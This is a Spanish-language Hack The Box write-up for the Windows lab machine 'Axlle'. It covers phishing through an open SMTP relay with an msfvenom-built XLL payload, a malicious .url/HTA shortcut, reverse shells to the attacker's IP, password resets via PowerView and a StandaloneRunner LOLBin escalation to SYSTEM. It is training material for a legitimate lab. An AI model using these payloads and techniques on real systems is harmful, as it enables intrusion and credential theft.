Hack The Box: Axlle Writeup | Hard

Table of Contents

Hack The Box: Axlle Writeup

Welcome to my detailed writeup of the hard difficulty machine “Axlle” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.253.213 --ulimit 5000 -g
210.129.253.213 -> [25,53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49664,62017,62025,62021,62022,62040]
 1$ nmap -p25,53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49664,62017,62025,62021,62022,62040 -sCV -Pn 10.129.253.213 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 16:21 CEST
 3Nmap scan report for 10.129.253.213
 4Host is up (0.038s latency).
 5
 6PORT      STATE SERVICE       VERSION
 725/tcp    open  smtp          hMailServer smtpd
 8| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
 9|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
1053/tcp    open  domain        Simple DNS Plus
1180/tcp    open  http          Microsoft IIS httpd 10.0
12|_http-server-header: Microsoft-IIS/10.0
13|_http-title: Axlle Development
14| http-methods: 
15|_  Potentially risky methods: TRACE
1688/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-02 12:21:50Z)
17135/tcp   open  msrpc         Microsoft Windows RPC
18139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
19389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
20445/tcp   open  microsoft-ds?
21464/tcp   open  kpasswd5?
22593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
233268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
243269/tcp  open  tcpwrapped
255985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
26|_http-server-header: Microsoft-HTTPAPI/2.0
27|_http-title: Not Found
289389/tcp  open  mc-nmf        .NET Message Framing
2949664/tcp open  msrpc         Microsoft Windows RPC
3062017/tcp open  msrpc         Microsoft Windows RPC
3162021/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3262022/tcp open  msrpc         Microsoft Windows RPC
3362025/tcp open  msrpc         Microsoft Windows RPC
3462040/tcp open  msrpc         Microsoft Windows RPC
35Service Info: Host: MAINFRAME; OS: Windows; CPE: cpe:/o:microsoft:windows
36
37Host script results:
38| smb2-time: 
39|   date: 2024-08-02T12:22:39
40|_  start_date: N/A
41|_clock-skew: -1h59m41s
42| smb2-security-mode: 
43|   3:1:1: 
44|_    Message signing enabled and required
45
46Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
47Nmap done: 1 IP address (1 host up) scanned in 97.00 seconds

UDP Enumeration

1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.253.213 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 16:23 CEST
3Nmap scan report for 10.129.253.213
4Host is up (0.041s latency).
5Not shown: 1497 open|filtered udp ports (no-response)
6PORT    STATE SERVICE
753/udp  open  domain
888/udp  open  kerberos-sec
9123/udp open  ntp

Me llama la atención que esté el puerto 25 abierto, si el servicio de correo está mal configurado, podríamos enviar un correo a algún usuario y quizás podamos conseguir algún ataque de phising o algo parecido.

DNS Enumeration

Siempre que veo un servicio de DNS me gusta enumerarlo y realizar fuerza bruta a ver si encuentro algún subdominio.

Para ello primero necesito un dominio, y haciendo un simple whatweb podemos encontrar un dominio. axlle.htb

1$ whatweb http://10.129.253.213
2http://10.129.253.213 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[accounts@axlle.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.253.213], Microsoft-IIS[10.0], Script, Title[Axlle Development]

Encontramos un NS

 1 dig NS axlle.htb @10.129.253.213
 2
 3; <<>> DiG 9.18.24-1-Debian <<>> NS axlle.htb @10.129.253.213
 4;; global options: +cmd
 5;; Got answer:
 6;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12630
 7;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 4
 8
 9;; OPT PSEUDOSECTION:
10; EDNS: version: 0, flags:; udp: 4000
11;; QUESTION SECTION:
12;axlle.htb.			IN	NS
13
14;; ANSWER SECTION:
15axlle.htb.		3600	IN	NS	mainframe.axlle.htb.
16
17;; ADDITIONAL SECTION:
18mainframe.axlle.htb.	1200	IN	A	10.129.253.213
19mainframe.axlle.htb.	1200	IN	AAAA	dead:beef::f938:ff46:9a65:3d9
20mainframe.axlle.htb.	1200	IN	AAAA	dead:beef::f6

Por fuerza bruta no encontré nada.

HTTP Enumeration

En el sitio web encontramos un correo accounts@axlle.htb -> importante si existe un servicio SMTP detrás enumerar direcciones de correo.

No consigo una NULL SESSION ni por RPC, LDAP ni SMB.

SMTP Enumeration

Hay que tener en cuenta que está el WinRM expuesto.

Nos damos cuenta de que este servicio está mal configurado ya que podemos mandar correos electrónicos sin necesidad de autenticarnos.

 1250 Hello.
 2MAIL FROM:example@axlle.htb
 3250 OK
 4RCPT TO:accounts
 5550 A valid address is required.
 6RCPTO TO: accounts@axlle.htb
 7503 Bad sequence of commands
 8RCPT TO: accounts@axlle.htb
 9250 OK
10DATA
11354 OK, send.
12Esto es una prueba
13From: test@axlle.htb
14To: accounts@axlle.htb
15Subject: Email de prueba
16Este es mi email de prueba
17.
18.
19<CRLF>.<CRLF250 Queued (47.297 seconds)

Lo podemos probar con swaks mas fácilmente.

 1$  swaks --to accounts@axlle.htb --from pointed@axlle.htb --header "Subject: test" --body "please click here http://10.10.14.80:8081/" --server 10.129.253.213
 2=== Trying 10.129.253.213:25...
 3=== Connected to 10.129.253.213.
 4<-  220 MAINFRAME ESMTP
 5 -> EHLO parrot
 6<-  250-MAINFRAME
 7<-  250-SIZE 20480000
 8<-  250-AUTH LOGIN
 9<-  250 HELP
10 -> MAIL FROM:<pointed@axlle.htb>
11<-  250 OK
12 -> RCPT TO:<accounts@axlle.htb>
13<-  250 OK
14 -> DATA
15<-  354 OK, send.
16 -> Date: Fri, 02 Aug 2024 16:41:16 +0200
17 -> To: accounts@axlle.htb
18 -> From: pointed@axlle.htb
19 -> Subject: test
20 -> Message-Id: <20240802164116.003875@parrot>
21 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
22 -> 
23 -> please click here http://10.10.14.80:8081/
24 -> 
25 -> 
26 -> .
27
28<-  250 Queued (10.969 seconds)
29 -> QUIT
30<-  221 goodbye
31=== Connection closed with remote host.

Aunque no nos llega ninguna respuesta.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Haciendo alusión al nombre de la máquina, quizás pueda mandar un archivo XLL a la víctima.

Y aquí la cabeza me hizo click cuando leí el siguiente mensaje en la página principal. If you have any outstanding invoices or requests, please email them to accounts@axlle.htb in Excel format. Please note that all macros are disabled due to our security posture. y además vi que la imagen de la máquina es un pescador (phising).

Voy a probar a mandar un Excel XLL malicioso como archivo a través de swaks a la cuenta accounts@axlle.htb

Foothold -> Creating Malicious XLL File

Primero tenemos que generar nuestro payload en formato binario. Importante que sea para una arquitectura de 64 bits.

1$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -f raw -o shell.bin

Tras investigar, encontramos varios PoC para generar archivos XLL maliciosos, uno de ellos me funcionó. PoC Post Explicativo

Necesitamos instalar Nim, MinGW, Python y algunas dependencias de Nim

1nimble install ptr_math
2nimble install winim
3nimble install nimcrypto

Una vez teniendo todo eso, podemos generar nuestro archivo XLL malicioso.

1python build.py -e -o shell -s .\shell.bin

Y ahora nos ponemos en escucha con netcat por el puerto 443.

Y enviamos un correo a la cuenta de correo electrónico anteriormente encontrada adjuntando el archivo xll malicioso que hemos creado.

1$ swaks --from administrator@axlle.htb --to accounts@axlle.htb --server 10.129.253.213 --port 25 --header 'Excel file' --body 'Here is your excel file' --attach @shell.xll
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 62180
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\>whoami
8whoami
9axlle\gideon.hamill

Aquí todavía no está la flag.

User Pivoting

Enumerando los correos del usuario dallon.matrix encontramos este mensaje

Return-Path: webdevs@axlle.htb
Received: from bumbag (Unknown [192.168.77.153])
	by MAINFRAME with ESMTP
	; Mon, 1 Jan 2024 06:32:24 -0800
Date: Tue, 02 Jan 2024 01:32:23 +1100
To: dallon.matrix@axlle.htb,calum.scott@axlle.htb,trent.langdon@axlle.htb,dan.kendo@axlle.htb,david.brice@axlle.htb,frankie.rose@axlle.htb,samantha.fade@axlle.htb,jess.adams@axlle.htb,emily.cook@axlle.htb,phoebe.graham@axlle.htb,matt.drew@axlle.htb,xavier.edmund@axlle.htb,baz.humphries@axlle.htb,jacob.greeny@axlle.htb
From: webdevs@axlle.htb
Subject: OSINT Application Testing
Message-Id: <20240102013223.019081@bumbag>
X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
Hi everyone,
The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.
We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.
Yours in click-worthy URLs,
The Web Dev Team

Enumerando el servicio hMailServer, sabemos que hay un archivo llamado hMailServer.ini que se encuentra o en el directorio Windows o en directorio Bin del directorio raíz de instalación, dentro de este archivo se encuentran credenciales encriptadas.

 1C:\Program Files (x86)\hMailServer\Bin>type hMailServer.INI
 2type hMailServer.INI
 3[Directories]
 4ProgramFolder=C:\Program Files (x86)\hMailServer
 5DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
 6DataFolder=C:\Program Files (x86)\hMailServer\Data
 7LogFolder=C:\Program Files (x86)\hMailServer\Logs
 8TempFolder=C:\Program Files (x86)\hMailServer\Temp
 9EventFolder=C:\Program Files (x86)\hMailServer\Events
10[GUILanguages]
11ValidLanguages=english,swedish
12[Security]
13AdministratorPassword=52a1b2a1211e690998e0d2ccb653ff22
14[Database]
15Type=MSSQLCE
16Username=
17Password=52abe4d2e16269ddddf7b166218e92d9
18PasswordEncryption=1
19Port=0
20Server=
21Database=hMailServer
22Internal=1
23
24C:\Program Files (x86)\hMailServer\Bin>

Podemos desencriptar esta contraseña, la de la base de datos, utilizando este PoC Pass -> A02D41C55AC

Pero esta pass no sirve para nada, por lo cual, vamos a aprovechar lo que sabemos del correo encontrado. drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation

Creé un archivo .url en el directorio C:\inetpub\testing con este formato pero apuntando a mi máquina.

[{000214A0-0000-0000-C000-000000000046}]

Prop3=19,9

[InternetShortcut]

IDList=

URL=file://51.79.185[.]145/pdf/data1.zip/pdf1.cpl

IconIndex=13

HotKey=0

IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Y capturé un hash NTLMv2 que no pude crackear, pero esto me sirve para saber que el usuario dallon.matrix está abriendo estos archivos, así que ya tengo claro el vector de ataque.

dallon.matrix::AXLLE:aaaaaaaaaaaaaaaa:8aba7b6bafde0dc8d454f35cf15b1029:010100000000000000e46e9dfde4da010fb198cd7ebfc63d000000000100100047004500460054006e006400710056000300100047004500460054006e00640071005600020010004e00730054004a004d00640054004b00040010004e00730054004a004d00640054004b000700080000e46e9dfde4da0106000400020000000800300030000000000000000100000000200000ee1ef70c7796141f1b5697e749cbbec39a1feb03c8cfc45e989aee8f08efcdc10a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380030000000000000000000

Para ello, podemos crear el típico archivo HTA

1$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -f hta-psh -o evil.hta

Nos creamos un archivo evil.url

 1$ cat evil.url
 2[InternetShortcut]
 3
 4URL=C:\Users\Public\Documents\evil.hta
 5
 6ShowCommand=7
 7
 8IconIndex=247
 9
10IconFile=C:\Windows\System32\shell32.dll

El archivo evil.hta que hemos creado con msfvenom lo dejamos en C:\Users\Public\Documents\evil.hta

Ahora, nos ponemos en escucha con netcat por el puerto 443.

Subimos el archivo evil.url a C:\inetpub\testing como bien decía la nota y…

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 60887
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\>whoami
8whoami
9axlle\dallon.matrix

User Pivoting 2

Después de enumerar un rato la máquina, vamos a ejecutar BloodHound. Me copio el SharpHound a la máquina víctima. C:\Users\dallon.matrix\Desktop>copy \\10.10.14.80\smbFolder\SharpHound.exe SharpHound.exe

Y simplemente lo ejecutamos C:\Users\dallon.matrix\Desktop>.\SharpHound.exe

Y copiamos el resultado a nuestra máquina de atacante. C:\Users\dallon.matrix\Desktop>copy 20240802083534_BloodHound.zip \\10.10.14.80\smbFolder\20240802083534_BloodHound.zip

Ahora abrimos el bloodhound y levantamos la BBDD de neo4j y seleccionamos el zip. Write-up Image

Voy a marcar este usuario como owned Write-up Image

Pertenece a un grupo interesante, APP DEVS@AXLLE.HTB.

Write-up Image

Los usuarios de este grupo pueden cambiar la contraseña a los usuarios jacob.greeny y a baz.humphries Write-up Image

Estos dos usuarios pertenecen a los mismos grupos, vamos a migrar a jacob.greeny.

Además, estos usuarios están en el grupo de Remote Management Users por lo cual vamos a poder hacer uso de evil-winrm para conseguir una consola interactiva a través del protocolo WinRM.

Abusing ForceChangePassword

Antes de nada, he migrado a una shell de nishang para trabajar mas cómodamente.

Ahora me comparto el PowerView.ps1 y importamos sus módulos.

1PS C:\Users\dallon.matrix\Desktop> copy \\10.10.14.80\smbFolder\PowerView.ps1 PowerView.ps1
2
3PS C:\Users\dallon.matrix\Desktop> . .\PowerView.ps1

Y ahora me puedo crear un nuevo objeto de SecureString.

1PS C:\Users\dallon.matrix\Desktop> $NewPassword = ConvertTo-SecureString 'Pointed123@' -AsPlainText -Force

Y puedo cambiarle la credencial a jacob.greeny

1PS C:\Users\dallon.matrix\Desktop> Set-DomainUserPassword -Identity 'jacob.greeny' -AccountPassword $NewPassword

Con netexec podemos comprobar que hemos cambiado la credencial correctamente.

1$ nxc smb 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
2SMB         10.129.253.213  445    MAINFRAME        [*] Windows Server 2022 Build 20348 x64 (name:MAINFRAME) (domain:axlle.htb) (signing:True) (SMBv1:False)
3SMB         10.129.253.213  445    MAINFRAME        [+] axlle.htb\jacob.greeny:Pointed123@

Y por alguna razón netexec me reporta que no tengo permisos para conectarme por WinRM

1$ nxc winrm 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
2WINRM       10.129.253.213  5985   MAINFRAME        [*] Windows Server 2022 Build 20348 (name:MAINFRAME) (domain:axlle.htb)
3WINRM       10.129.253.213  5985   MAINFRAME        [-] axlle.htb\jacob.greeny:Pointed123@

pero evil-winrm demuestra lo contrario….

 1$ evil-winrm -i 10.129.253.213 -u 'jacob.greeny' -p 'Pointed123@'
 2                                        
 3Evil-WinRM shell v3.5
 4                                        
 5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 6                                        
 7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 8                                        
 9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\jacob.greeny\Documents> whoami
11axlle\jacob.greeny

Privilege Escalation - Abusing StandaloneRunner

Ahora que ya somos jacob.greeny

Antes, había visto un directorio al cual no podía acceder, ahora como este usuario si puedo acceder. C:\App Development

Nos encontramos un proyecto en C# llamado kbfiltr , leyendo el README.md encontramos esto que me llama la atención.

**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**

Entonces si tuviera permisos de escritura en esa carpeta, podría reemplazar yo el binario por un payload hecho con msfvenom y supuestamente lo debería de ejecutar la cuenta administradora del sistema.

Podemos comprobar los permisos con icacls

 1*Evil-WinRM* PS C:\App Development\kbfiltr> icacls "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64"
 2C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64 AXLLE\App Devs:(OI)(CI)(RX,W)
 3                                                                              Everyone:(I)(OI)(CI)(R)
 4                                                                              AXLLE\Administrator:(I)(OI)(CI)(F)
 5                                                                              BUILTIN\Users:(I)(OI)(CI)(R)
 6                                                                              AXLLE\App Devs:(I)(OI)(CI)(RX)
 7                                                                              NT SERVICE\TrustedInstaller:(I)(F)
 8                                                                              NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
 9                                                                              NT AUTHORITY\SYSTEM:(I)(F)
10                                                                              NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
11                                                                              BUILTIN\Administrators:(I)(F)
12                                                                              BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
13                                                                              BUILTIN\Users:(I)(RX)
14                                                                              BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
15                                                                              CREATOR OWNER:(I)(OI)(CI)(IO)(F)
16                                                                              APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
17                                                                              APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
18                                                                              APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
19                                                                              APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
20
21Successfully processed 1 files; Failed processing 0 files

Y vemos que el siguiente permiso AXLLE\App Devs:(OI)(CI)(RX,W)

Esto significa que nuestro usuario, como pertenece al grupo App Devs, puede escribir en esa carpeta, por lo cual podríamos reemplazar el binario y escalar privilegios ya que según la nota, debe de haber una especie de tarea cron recurrente que ejecuta ese binario como el administrador.

Creamos el binario malicioso con msfvenom

 1$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.80 LPORT=443 -e x86/shikata_ga_nai -f exe -o standalonerunner.exe
 2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
 3[-] No arch selected, selecting arch: x86 from the payload
 4Found 1 compatible encoders
 5Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
 6x86/shikata_ga_nai succeeded with size 351 (iteration=0)
 7x86/shikata_ga_nai chosen with final size 351
 8Payload size: 351 bytes
 9Final size of exe file: 73802 bytes
10Saved as: standalonerunner.exe
1*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> upload standalonerunner.exe

Nos venimos a la ruta C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64 y subimos con la función upload que incluye evil-wirnm el binario malicioso recién creado.

Y ahora si nos ponemos en escucha con netcat por el puerto 443…

NO PASA NADA ¿Por qué? -> Por alguna razón, no podemos tocar el .exe, tenemos permisos sobre el directorio pero no sobre el .exe. Muchas personas han resuelto la máquina con este método pero resulta que no era el método intencionado y por eso fue parcheado.

Así que vamos a hacer el método intencionado.

Resulta que este binario pertenece a la colección de LOLBins, una colección de binarios que tienen comportamientos un poco extraños.

Buscando un poco encontré un tweet que me llevó a este post

Y parece que hay una función que te permitirían ejecutar comandos si existen unas condiciones.

 1public static void RunCommand(string cmd)
 2{
 3    cmd = TestRunnerUtil.ParseParams(cmd, TestRunner.GlobalParams);
 4    ProcessStartInfo startInfo = new ProcessStartInfo();
 5    startInfo.WorkingDirectory = TestRunner.WorkingDir.FullName;
 6    startInfo.UseShellExecute = false;
 7    startInfo.RedirectStandardOutput = true;
 8    startInfo.RedirectStandardError = true;
 9    startInfo.FileName = "CMD.exe";
10    startInfo.Arguments = "cmd /c " + cmd;
11    Console.WriteLine(string.Format((IFormatProvider) CultureInfo.CurrentCulture, "Running {0}", new object[1]
12    {
13        (object) cmd
14    }));
15    Process p = Process.Start(startInfo);
16    if (cmd.Contains("te.exe"))
17        TestRunner.RunTAEF(p);
18    p.WaitForExit();
19}

Primero nos copiamos los archivos standalonerunner.exe y standalonexml.dll a un directorio.

1*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> copy * C:\Windows\Temp\work

Tenemos que crear un archivo reboot.rsf que contenga lo siguiente para que el flujo del programa pase por donde nosotros queremos.

1$ cat reboot.rsf 
2myTestDir
3True

Ahora, para que en el método MakeWorkingDir la condición sea verdadera, tenemos que crear un par de directorios. El directorio myTestDir y dentro el directorio working. C:\Windows\Temp\work\myTestDir\working

Y ahora en el directorio donde se encuentra el standalonerunner.exe creamos un archivo command.txt con el comando que queremos ejecutar.

En mi caso

1C:\Windows\Temp\work\shell.exe

Podemos comprobar que nos manda la reverse shell si ejecutamos el binario standalonerunner.exe y esperamos unos segundos.

Ahora replicamos lo mismo en el directorio C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64 ya que en principio SYSTEM está ejecutando el binario de forma periódica. Write-up Image

Y nos ponemos en escucha con netcat por el puerto 443…

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.253.213] 52156
4Microsoft Windows [Version 10.0.20348.2527]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working>whoami
8whoami
9axlle\administrator

Y ya habríamos escalado privilegios.

 1C:\Users\Administrator\Desktop>dir
 2dir
 3 Volume in drive C has no label.
 4 Volume Serial Number is BFF7-F940
 5
 6 Directory of C:\Users\Administrator\Desktop
 7
 801/01/2024  04:45 AM    <DIR>          .
 901/02/2024  04:05 AM    <DIR>          ..
1008/02/2024  05:19 AM                34 root.txt
11               1 File(s)             34 bytes
12               2 Dir(s)   2,924,068,864 bytes free
13
14C:\Users\Administrator\Desktop>type root.txt
15type root.txt
16513f9092e0147eb40...

¡Y ya estaría! Una máquina bastante chula donde se aprenden un montón de conceptos nuevos, he disfrutado mucho completandola.

Happy Hacking! 🚀

#HackTheBox   #Axlle   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #Phising   #Creating Malicious HTA   #Creating Malicious XLL   #Creating Malicious Browser Link   #User Pivoting   #BloodHound   #SharpHound   #Abusing ForceChangePassword   #PowerView.ps1   #Abusing StandaloneRunner   #Abusing LOLBins